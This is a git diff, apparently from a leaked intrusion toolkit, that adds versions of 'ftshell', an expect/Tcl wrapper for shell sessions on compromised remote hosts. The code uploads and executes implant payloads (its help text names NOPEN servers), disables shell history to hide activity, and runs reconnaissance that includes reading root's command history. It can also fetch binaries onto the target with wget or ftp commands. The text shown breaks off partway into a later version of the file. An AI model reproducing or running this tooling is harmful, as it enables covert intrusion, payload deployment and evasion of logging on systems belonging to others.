+ } else { + if { [string length $uLocalFile] > 0 } { + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + } else { + + } + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { $uStayOn } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + global sentLines + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + B { + send_user "Switching to bash if we can" + execbash 1 + } + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~B switch to bash via exec bash/unsets if possible\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { +# set prompt "\[ (%|:|#|\\$)]*.*(%|:|#|\\$)\[ ]*$" + set prompt "\[ (>|%|:|#|\\$)]*.*(>|%|:|#|\\$)\[ ]*$" +# set prompt "(%|:|#|\\$)\[ ]*$" +} + +set user_break 0 +set version 3.10.3.7 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 +set donealready 0 +set bashcount 0 +set sentLines 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user " +Usage: ftshell \[options\] program \[arguments\] + +ftshell is an expect script that (locally) runs the program \[arguments\] +provided, normally some sort of shell access to another Unix system. +It allows for either automatic or interactive upload/download of files +using some combination of uu*code, compress, gzip, perl. The target's +uudecode, compress, gzip and perl are located via the shell builtin +\"type\", unless that fails and then \"which\" is used. + +Or, using the -U option, automatic file transfer can be achieved via a +user-provided string which results in a file being transferred to the +system (e.g., ftp, wget, etc.) + +Normally, ftshell is used by ourtn and the payload being uploaded is a +NOPEN server. But ftshell is usable directly by the user, as well. + +OPTIONS (MUST BE SPACE DELIMITED, EACH OPTION GETTING ITS OWN \"-\") + + -h/-v Show usage/version. + -I Run some info gathering commands when connected, before + either automatic upload/execution or user interaction. + Commands run: + ls -alrt / | tail + ls -alrt /tmp | tail + cd /dev ; ps -ef | grep \$\$ + cd /tmp ; ps -ef | grep \$\$ + tail /.*history | strings ; echo ======= + tail /root/.*history | strings + w ; date ; date -u ; df -k ; uname -a + cd /tmp ; pwd + -q Used with -I, skips the first four lines above. + -Q Used with -I, skips all but the last line above. + -9 list Add the list of colon delimited paths to the PATH. + -B Try to exec bash if available. + -E Use \"setenv VAR val\" to set variables not \"VAR=val\". + -u file Upload file automatically once connected. If upload cannot + be done due to lack of proper Unix commands on target, an + interactive shell is provided instead. Use the \$A and \$B + environment variables to prepare for and run the file, + respectively, or to otherwise do stuff on target. + -r rname Uploaded file name on target. + -L Leave the shell in interactive mode after automatic upload + is complete. (Default is to exit the shell.) + -U Execute the commands in the local file + /current/.ourtn-ftshell-upcommand on the target + to upload the file rather than the -u method. End result + must be that rname exists in /tmp. This will normally be a + wget or ftp command. If for some reason (e.g., a previous + failed attempt) the right binary is already there, file + could just contain \"echo\", to basically do nothing at that + step. (ftshell -U option is used by ourtn -V.) + +ENVIRONMENT VARIABLES + B Run the contents of \$B before the automatic upload. + A Run the contents of \$A after the automatic upload. + SHOWTHIS String to show user once connected. + +ftshell Version $version +" + exit 0 +} + +# my_script will be the file this window is scripted to, if any, with +# a "script -af file" command +set my_pid [exp_pid] +if [catch "exec which scriptcheck" msg] { + send_user "scriptcheck not in PATH\n" + set my_script "" +} else { + set my_script [exec scriptcheck] +} + +if [info exists env(SHOWTHIS)] { + set showthis "$env(SHOWTHIS)" +} else { + set showthis "" +} +send_user "+------------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+------------------------------------------------------\n" +sleep 1 +set my_script_firstline "" +if [string length $my_script] { +# set my_script_firstline [exec grep -n "Welcome to ftshell v.$version" $my_script | tail -1 | cut -f 1 -d ":"] +# send_user "window scripted to : $my_script (at line $my_script_firstline)\n" + send_user "window scripted to : $my_script\n" +} else { + send_user "ftshell : THIS IS NOT A SCRIPTED WINDOW\n" +} +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + # what if -I is an argument of something ftshell is wrapping? + # Then we fix it here. + if [regexp "(.*)\\-I (.*)" $ava ignore avaa avbb] { + set ava "$avaa $avbb" + set avb "-I $avb" + } + set argv "$ava $avb" + send_user "ftshell -I : Issuing recon commands\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -q : Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -Q : Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-E (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -E : Using setenv syntax\n" + set usesetenv 1 +} else { + set usesetenv 0 +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell -B : Switching to /bin/bash if available\n" + set dobash 1 +} else { + set dobash 0 +} + +if [regexp "(.*)\\-9 ((\[^ \])*)(.*)" $argv ignore ava uPath ignore avb] { + set argv "$ava $avb" + # ourtn error checked this argument we will not +} else { + set uPath "" +} +set TheirPath "" +set PathSet 0 + +# See if uudecode (and therefore uuencode) is around LOCALLY. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +set OtherUpload 0 + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { + set argv "$ava $avb" + if { [string match "via*" $uLocalFile] } { + send_user "ftshell -u : uploading ${uLocalFile}\n" + set uLocalFile "" + set OtherUpload 1 + } else { + send_user "ftshell Local File : $uLocalFile\n" + } +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { + send_user "ftshell Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { + send_user "ftshell -L : Keeping shell alive\n" + set uStayOn 1 + set argv "$ava $avb" +} else { + set uStayOn 0 +} + +if [regexp "(.*)\\-U (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + if ![file exists /current/.ourtn-ftshell-upcommand] { + send_user "FATAL: Using -U option without /current/.ourtn-ftshell-upcommand\n\n" + exit 1 + } + set uRemoteUploadCommand "[exec cat /current/.ourtn-ftshell-upcommand]" + send_user "ftshell -U : Using preset upload string (next line)\n" + send_user " : $uRemoteUploadCommand\n" + if {[string compare $uRemoteUploadCommand ""] == 0} { + send_user "Could not find any remote upload command in /current/.ourtn-ftshell-upcommand (-U)" + exit 1 + } +} else { + set uRemoteUploadCommand "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) + send_user "ftshell Before Command: $uBeforeCmd\n" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) + send_user "ftshell After Command : $uAfterCmd\n" +} else { + set uAfterCmd "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { + processUpload +} else { + if { [string length $uRemoteUploadCommand] > 0 } { + processUpload + } else { + if { $OtherUpload } { + processUpload + } + } +} + +# if string length $uLocalFile > 0 || +# string length $uRemoteUploadCommand > 0 || +# $OtherUpload { +# processUpload +# } + +send_user "\n" +send_user "+-----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+-----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + + +interactive diff --git a/Linux/bin/ftshell.v3.7 b/Linux/bin/ftshell.v3.7 new file mode 100755 index 0000000..d998dfc --- /dev/null +++ b/Linux/bin/ftshell.v3.7 @@ -0,0 +1,908 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.26 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return verbose status +proc verbose_status {} { + global verbose_flag + if ($verbose_flag) { + return "on" + } else { + return "off" + } +} +# send_user if verbose is on +proc send_verbose {msg} { + global verbose_flag + + if $verbose_flag { + send_user $msg + } +} + +# Toggle check of remote commands +proc toggleExitCheck {} { + global checkExitStatus + set checkExitStatus [expr !$checkExitStatus] + send_user "check exit status [exitCheck]\r\n" +} + +# Get value of exitCheck +proc exitCheck {} { + global checkExitStatus + if ($checkExitStatus) { + return "on" + } else { + return "off" + } +} + +# local cd +proc chdir {} { + stty -raw echo + send_user "c\n" + send_user "current directory : [pwd]\n" + send_user "change to directory: " + expect_user -re "(.*)\n" { + set newDir $expect_out(1,string) + if [string length $newDir] { + if [catch {cd $newDir} msg] { + send_user "failed: $msg\n" + } + send_user "local directory now: [pwd]\n" + } else { + send_user "local directory unchanged\n" + } + } + stty raw -echo +} + +# get names for file for a 'get' +proc get_main {} { + global prompt + stty -raw echo + send_user "g\nget remote file \[localfile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (remote) $f1 to (local) $f2\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $expect_out(1,string)\n" + send "sh\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + get $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +#get names of files for a 'put' +proc put_main {} { + global prompt + stty -raw echo + send_user "p\nput localfile \[remotefile]: " + expect_user { + -re "(\[^ ]+) +(\[^ ]+)\n" { + set f1 $expect_out(1,string) + set f2 $expect_out(2,string) + send_user "copying (local) $f1 to (remote) $f2\n" + send "sh\r" + expect -re $prompt + send "PS1='xfer$ '\r" + expect -re $prompt + dounsets + put $f1 $f2 + send "exit\r" + expect -re $prompt + } + -re "(\[^ ]+)\n" { + set f1 $expect_out(1,string) + send_user "copying $f1\n" + send "sh\r" + expect -re $prompt + dounsets + send "PS1='xfer$ '\r" + expect -re $prompt + put $f1 $f1 + send "exit\r" + expect -re $prompt + } + -re "\n" { + send_user "nothing transfered\n" + } + } + stty raw -echo +} + +# Get PID on remote system +proc getrpid {} { + global prompt + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } +} + +# +# update the bytes transfered status message. Update the display +# no more often then once per second unless 'amount' is 0 which +# means fource an update. +# Negative 'amount's may not work as expected. +# +proc updateStatus {direction amount} { + global bytesTransfered + global lastUpdateStatus + global startTime + + if {$bytesTransfered == 0} { + send_user "\n" + set lastUpdateStatus 0 + set startTime [timestamp] + send_user [timestamp -format "Transfer started at %c\n" -seconds $startTime] + } + + set newTime [timestamp] + if { $amount != 0 } { + # Add one for the newline + set bytesTransfered [expr $bytesTransfered + $amount + 1] + } + + # Only update once per second. however, + # if amount is 0 then force update + if {$lastUpdateStatus < $newTime || $amount == 0} { + set lastUpdateStatus $newTime + set timeDelta [expr $newTime - $startTime] + if {$timeDelta == 0} { + set dataRate 0 + } else { + set dataRate [expr $bytesTransfered / $timeDelta] + } + send_user "\r" + send_user "Bytes $direction: $bytesTransfered; Transfer rate: $dataRate B/s " + } +} + +# Run command via send on remote system +# Waits till comand has completed and then grabs +# its exit status and returns that +proc rcmd {cmd} { + global prompt + global checkExitStatus + + send_verbose "rcmd--> $cmd\n" + send -- $cmd + expect -re $prompt + + if {$checkExitStatus == 0} { + return 0 + } + + set ologuser [log_user 1] +# set ologuser [log_user 0] + set status 999 + + send "echo \$?\r" + send_verbose "echo \$?\n" + expect { + -re "(\[0-9]+)\r\n" { + set status $expect_out(1,string) + } + } + expect -re $prompt + + log_user $ologuser + + # Return to normal modes -- so calling routine need + # only do a return. + if {$status != 0} { + send "stty echo\r" + set cmd [string trimright $cmd "\r"] + send_user "remote command '$cmd' failed; code=$status\n" + log_user 1 + } + + return $status +} + +# Get file from remote system +proc get {infile outfile} { + global prompt verbose_flag bytesTransfered + global uudecode + + + if (!$verbose_flag) { + log_user 0 + } + + send_verbose "disabling echo: " + send "stty -echo\r" + expect -re $prompt + + set label "uulabel" + if [string match *.uu $infile] { + send_user "not encoding or compressing\n" + set remote_cmd "cat $infile" + set local_cmd "cat > $outfile" + } elseif [regexp "\.(Z|gz|bz2)$" $infile] { + send_user "not compressing\n" + set remote_cmd "cat $infile | uuencode $label | cat" + set local_cmd "$uudecode > $outfile" + } else { + set remote_cmd "compress -fc $infile | uuencode $label | cat"; + set local_cmd "$uudecode | uncompress -cf > $outfile" + } + + send_verbose "\nremote command: $remote_cmd\n" + send_verbose "local command: $local_cmd\n" + + # Calculate amount of data to transfer + send_user "Total bytes to transfer: " + send "$remote_cmd | wc -c\r" + expect -re $prompt + + set out [open "|$local_cmd" w] +# send_verbose "open returned\n" + + send "$remote_cmd\r" + + + log_user 0 + + set bytesTransfered 0 + expect { + -re "^end\r\n" { + puts $out "end" + close $out + updateStatus "received" [string length "end"] + } + -re "^(\[^\r]*)\r\n" { + puts $out $expect_out(1,string) + updateStatus "received" [string length $expect_out(1,string)] + exp_continue + } + -re "xfer\\$ $" { + send_user "caught prompt - aborting xfer\n" + send '\003' + } + } + updateStatus "received" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + expect -re $prompt + + + send "stty echo\r" + log_user 1 +} + +# send file to remote system +proc put {infile outfile} { + global prompt verbose_flag bytesTransfered + global errorCode + global errorInfo + global uudecodeCMD + + set uudecodeCMD "" + if (!$verbose_flag) { + log_user 0 + } + + send "stty -echo\r" + expect -re $prompt + send_verbose "disabling echo: " + + # Note: We can't assume that uudecode on the remote + # system takes the -p argument :-( + send "\r" + expect -re $prompt + + send_verbose "remote pid is " + send "echo $$\r" + expect -re "(.*)\r\n.*$prompt" { + set rpid $expect_out(1,string) + } + + send_verbose "uudecode is located at " + send "HOME=\"\" which uudecode\r" + expect -re "(.*)\r\n.*$prompt" { + set uudecodePath $expect_out(1,string) + if [regexp "no" $uudecodePath] { + set uudecodePath "" + } + } + + send_verbose "perl is located at " + send "HOME=\"\" which perl\r" + expect -re "(.*)\r\n.*$prompt" { + set perlPath $expect_out(1,string) + if [regexp "no" $perlPath] { + set perlPath "" + } + } + + send_verbose "uncompress is located at " + send "HOME=\"\" which uncompress\r" + expect -re "(.*)\r\n.*$prompt" { + set uncompressPath $expect_out(1,string) + if [regexp "no" $uncompressPath] { + set uncompressPath "" + } + } + + send_verbose "gzip is located at " + send "HOME=\"\" which gzip\r" + expect -re "(.*)\r\n.*$prompt" { + set gzipPath $expect_out(1,string) + if [regexp "no" $gzipPath] { + set gzipPath "" + } + } + + set nocompress "" + set usegzip "" + if ![regexp "uncompress" $uncompressPath] { + send_verbose "No uncompress\n" + if ![ regexp "gzip" $gzipPath] { + send_verbose "No compress or gzip...will not compress upload\n" + set nocompress "yes" + } else { + send_verbose "No compress but there is gzip...will uncompress with gzip -dc\n" + set usegzip "yes" + } + } + + if ![regexp "uudecode" $uudecodePath] { + send_verbose "No uudecode\n" + if ![regexp "perl" $perlPath] { + send_verbose "No perl or uudecode...cannot send file\n" + return + } else { + send_verbose "Using perl for uudecode\n" + set uudecodeCMD "$perlPath -e ' +\$_ = <> until (\$mode,\$file) = /^begin\\s(\\d*)\\s*(\\S*)/; +open (OUT,\"> \$file\") if \$file ne \"\"; +while (<>) { + last if /^end/; + next if /a-z/; + next unless int ((((ord() - 32) & 077) + 2) / 3) == int(length() / 4); + print OUT unpack (\"u\",\$_) ; +} +close (OUT); +chmod oct \$mode, \$file ; +print \"Just created \$file: + +ls -al \$file*\\n\"; +print `ls -al \$file*`; +'" + } + } else { + set uudecodeCMD $uudecodePath + } + + + set needEOF 0 + if [string match *.uu $infile] { + send_user "not encoding or compressing" + set local_cmd "cat $infile" + set remote_cmd "cat > $outfile < $outfile && rm -f $label" + } else { + set remote_cmd "$uudecodeCMD && $uncompressPath -cf $label > $outfile && rm -f $label" + } + } + + send_verbose "\nlocal command: $local_cmd\n" + send_verbose "remote command: $remote_cmd\n" + + if [rcmd "touch $outfile\r"] { + send_user "put failed -- can't write to destination file\n" + expect -re $prompt + send "stty echo\r" + log_user 1 + return 1 + } + + if { $needEOF == 1 } { + # Turn off PS2 prompt for hear-is documents + if [rcmd "PS2=\r"] { + send_user "Unable to clear PS2 variable\n" + expect -re $prompt + log_user 1 + return 1 + } + } + + # Calculate amount of data to transfer + send_user "\nTotal bytes to transfer: " + set fp [open "|$local_cmd | wc -c" r] + gets $fp buf + send_user "$buf\n" + + + # Issue remote command to recieve data + send_verbose "sending...\n" + send "\r" + expect -re $prompt + send "$remote_cmd\r" + + log_user 0 + + set fp [open "|$local_cmd" r] + set bytesTransfered 0 + while 1 { + if {-1 == [gets $fp buf]} break + send -- "$buf\n" + updateStatus "sent" [string length $buf] + } + updateStatus "sent" 0 + + if ($verbose_flag) { + send_user "\n" + log_user 1 + } + + if ($needEOF) { + send "EOF\r" + } else { + send "\r" + } + + close $fp + + + if [file executable $infile] { + if [rcmd "chmod +x $outfile\r"] { + send_user "chmod failed\n" + } + } + + rcmd "stty echo\r" + + log_user 1 +} + +proc interactivebanner {} { + global showthis + set nowTime [timestamp] + + send_user "+\n+ ftshell: ENTERING INTERACTIVE MODE at \n\+ " + send_user [timestamp -format " %c" -seconds $nowTime] + send_user " $showthis\n+----------------------------------------------------\n" +} + +proc dounsets {} { + global prompt + + send "\r" + expect -re $prompt + send "unset HISTFILE\r" + expect -re $prompt + send "unset HISTSIZE\r" + expect -re $prompt + send "unset HISTFILESIZE\r" + expect -re $prompt +} + +proc dothisfirst {} { + global dothisquiet + global dothisreallyquiet + global prompt + global showthis + + dounsets + if { ![string match "yes" $dothisquiet] } { + send "ls -alrt / | tail\r" + expect -re $prompt + send "ls -alrt /tmp | tail\r" + expect -re $prompt + send "cd /dev ; ps -ef | grep $$\r" + expect -re $prompt + send "cd /tmp ; ps -ef | grep $$\r" + expect -re $prompt + } + if { ![string match "yes" $dothisreallyquiet] } { + send "cd /tmp ; tail /.*history | strings ; echo ======= ; tail /root/.*history | strings \r" + expect -re $prompt + interactivebanner + send "w ; date ; date -u ; df -k ; uname -a ; pwd\r" + expect -re $prompt + } else { + interactivebanner + send "cd /tmp ; pwd\r" + expect -re $prompt + } +} + +proc interactive {} { + global prompt + global dodothis + global dobash + global user_break + global showthis + + if { [string match "yes" $dodothis] } { + dothisfirst + } + if { [string match "yes" $dobash] } { + send "which bash && SHELL=/bin/bash && exec bash\r" + expect -re $prompt + dounsets + interactivebanner + send "\[ \"\$BASH\" = \"/bin/bash\" \] && PS1=\">>\\d \\t \[pwd:\\w\]\\n\\u@\\h \\\\\$ \"\r" + expect -re $prompt + } + + while [catch "interact ~~ cmd" msg] { + send_user "interact failed - perhaps the connection died\n" + send_user "hit (c) to continue agin, or (q) to quit\n" + stty -raw echo + expect_user { + c { send_user "continue...\n" } + q { send_user "quitting...\n"; exit 1 } + } + stty raw -echo + # exit 1 + } + if ($user_break) { + exit 1 ; + } else { + exit 0 + } +} + +proc processUpload {} { + global prompt + global uLocalFile uRemoteFile uBeforeCmd uAfterCmd uStayOn + global user_spawn_id + global uudecodeCMD + global user_break + + stty raw echo + + # If the user presses CTRL-c, pass it on and switch to interactive mode + expect_after { + -i $user_spawn_id \003 { + send "\003" + set user_break 1 + interactive + } + } + + send_user "Processing upload\n" + + dothisfirst + + if { [string match "" $uBeforeCmd] == 0 } { + send "$uBeforeCmd\r" + send "echo ebc\r" + expect { + -re "(.*)ebc\r\n.*$prompt" { } + } + send "\r" + expect -re $prompt + } + + if { [string length $uRemoteFile] > 0 } { + put $uLocalFile $uRemoteFile + } else { + put $uLocalFile $uLocalFile + } + if { [string length $uudecodeCMD] <= 0 } { + send "stty echo\r" + set user_break 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting!!\a\n" + sleep 1 + send_verbose "\033\[1;31mCANNOT UUDECODE! Aborting!!!\a\n" + sleep 1 + send_verbose "\033\[1;33mCANNOT UUDECODE! Aborting upload and going INTERACTIVE\a\033\[0;39m\n" + sleep 2 + interactive + } + + if { [string length $uAfterCmd] > 0 } { + send "$uAfterCmd\r" + expect -re $prompt + } + + if { [string length $uStayOn] > 0 } { + interactive + } else { + send "echo eac\r" + expect -re "(.*)eac\r\n.*$prompt" + send "exit\r" + expect eof + } + exit 0 +} + +proc cmd {} { + global prompt + + set CTRLZ \032 + + send_user "Command (g,p,? for more): " + expect_user { + g { + if [catch {get_main} msg] { + send_user "get command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "\r" + send "stty echo\r" + stty raw -echo + send "\r" + } + } + p { + if [catch {put_main} msg] { + send_user "put command aborting, Reason: $msg\n" + send "\003\r" + expect -re $prompt + send "stty echo\r" + stty raw -echo + send "\r" + } + } + c chdir + v verbose + e toggleExitCheck + ~ {send "~"} + "\\?" { + send_user "?\n" + send_user "~~g get file from remove system\n" + send_user "~~p put file to remote system\n" + send_user "~~c change/show local directory\n" + send_user "~~~ send ~ to remote system\n" + send_user "~~? this list\n" + send_user "~~v verbose mode toggle (currently [verbose_status])\n" + send_user "~~e exit code check toggle (currently [exitCheck])\n" + send_user "~~^Z suspend\n" + } + $CTRLZ { + stty -raw echo + exec kill -STOP 0 + stty raw -echo + } + -re . {send_user "unknown command\n"} + } + send_user "resuming session...\n" + send "\r" + expect -re $prompt +} + +# Chatch SIGINT +trap -code { + send_user "\n" + send_user "got a control-C\n" + error controlc +} SIGINT + +# Begin main routine + +if [info exists env(EXPECT_PROMPT)] { + set prompt $env(EXPECT_PROMPT) +} else { + set prompt "(%|:|#|\\$) $" +} + +set user_break 0 +set version 3.7 +set timeout -1 +set verbose_flag 1 +set checkExitStatus 1 +set bytesTransfered 0 +set sawCtrlC 0 + +# Get a version of uudecode that writes the output to stdout +# This is for the local system, not the remote one. +set os [exec uname -s] +if {[string compare $os "Linux"] == 0} { + set uudecode "uudecode -o /dev/stdout" +} elseif {[string compare $os "SunOS"] == 0} { + set uudecode "uudecode -p" +} else { + send_user "Unknown OS type '$os', can't determine args to uudecode\n"; + exit 1 +} + +# Give response to -v version request and exit +if {[string match "-v" $argv] == 1} { + send_user "ftshell Version $version\n" + exit 0 +} + +if {[string match "-h" $argv] == 1} { + send_user "ftshell Version $version\n" + send_user "see source or other docs for usage.\n" + exit 0 +} + +if [regexp "(.*)\\-I (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell: Called via ourtn for INCISION\n" + set dodothis "yes" +} else { + set dodothis "" +} + +if [regexp "(.*)\\-q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell: Being quiet about it (no ps or ls)\n" + set dothisquiet "yes" +} else { + set dothisquiet "" +} + +if [regexp "(.*)\\-Q (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell: Being REALLY quiet about it (no tail, ps, ls, date or uname)\n" + set dothisquiet "yes" + set dothisreallyquiet "yes" +} else { + set dothisreallyquiet "" +} + +if [regexp "(.*)\\-B (.*)" $argv ignore ava avb] { + set argv "$ava $avb" + send_user "ftshell: Switching to /bin/bash if available\n" + set dobash "yes" +} else { + set dobash "" +} + +# See if uudecode (and therefore uuencode) is around. +if [catch "exec which uudecode" msg] { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} +if {[string match "/*" $msg] == 0} { + send_user "Can't find uudecode anywhere in PATH\n" + exit 1 +} + +if [regexp "(.*)\\-u ((\[^ \])*)(.*)" $argv ignore ava uLocalFile ignore avb] { +# send_user "Local File : $uLocalFile\n" + set argv "$ava $avb" +} else { + set uLocalFile "" +} + +if [regexp "(.*)\\-r ((\[^ \])*)(.*)" $argv ignore ava uRemoteFile ignore avb] { +# send_user "Remote File : $uRemoteFile\n" + set argv "$ava $avb" +} else { + set uRemoteFile "" +} + +if [regexp "(.*)\\-L (.*)" $argv ignore ava avb] { +# send_user "Note : Keeping shell alive\n" + set uStayOn "1" + set argv "$ava $avb" +} else { + set uStayOn "" +} + +if [info exists env(B)] { + set uBeforeCmd $env(B) +# send_user "Before Command: $uBeforeCmd\n" + set argv "$ava $avb" +} else { + set uBeforeCmd "" +} + +if [info exists env(A)] { + set uAfterCmd $env(A) +# send_user "After Command : $uAfterCmd\n" + set argv "$ava $avb" +} else { + set uAfterCmd "" +} + +if [info exists env(SHOWTHIS)] { + set showthis $env(SHOWTHIS) +# send_user "Before Command: $uBeforeCmd\n" + set argv "$ava $avb" +} else { + set showthis "" +} + +if [catch "spawn $argv" msg] { + send_user "spawn failed: $msg\n" + send_user "\nDid by chance you forget to specify a command to run?\n" + send_user " $argv\n" + exit $? +} + +if { [string length $uLocalFile] > 0 } { processUpload } + +send_user "\n" +send_user "+----------------------------------------------------\n" +send_user "+ Welcome to ftshell v.$version -- File Transter Shell\n" +send_user "+ Use ~~ to access menu/commands.\n" +send_user "+ You may need to add extra ~ characters if you\n" +send_user "+ are logged in via something like rlogin.\n" +send_user "+ Typing a ^C during a file transfer, will probably\n" +send_user "+ kill this program and anything you run through it\n" +send_user "+ \n" +send_user "+ New: Interactive mode now always executes a few\n" +send_user "+ commands (unset, ps, grep, w, date, etc.)\n" +send_user "+----------------------------------------------------\n" + +#expect -re $prompt +#send "exec sh\r" +#expect -re $prompt + +set user_break 0 + +interactive diff --git a/Linux/bin/ftshell.v3.8 b/Linux/bin/ftshell.v3.8 new file mode 100755 index 0000000..1357984 --- /dev/null +++ b/Linux/bin/ftshell.v3.8 @@ -0,0 +1,1052 @@ +#!/bin/sh +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# +# Automatically generated from ftshell.tcl +#----------------------------------------- +# Run this in expect, the backslash makes the next line (exec) +# a comment to expect but not the shell \ +exec expect -f "$0" -- ${1+"$@"} + +## $RCSfile: ftshell.tcl,v $ $Revision: 1.30 $ + + +# +# ftshell -- File Transfer Shell +# +# An expect wrapper arround telnet that adds functions +# via an "~~" escape to up/down -load files. +# + +# Toggle verbose status +proc verbose {} { + global verbose_flag + set verbose_flag [expr !$verbose_flag] + send_user "verbose [verbose_status]\r\n" +} +# Return 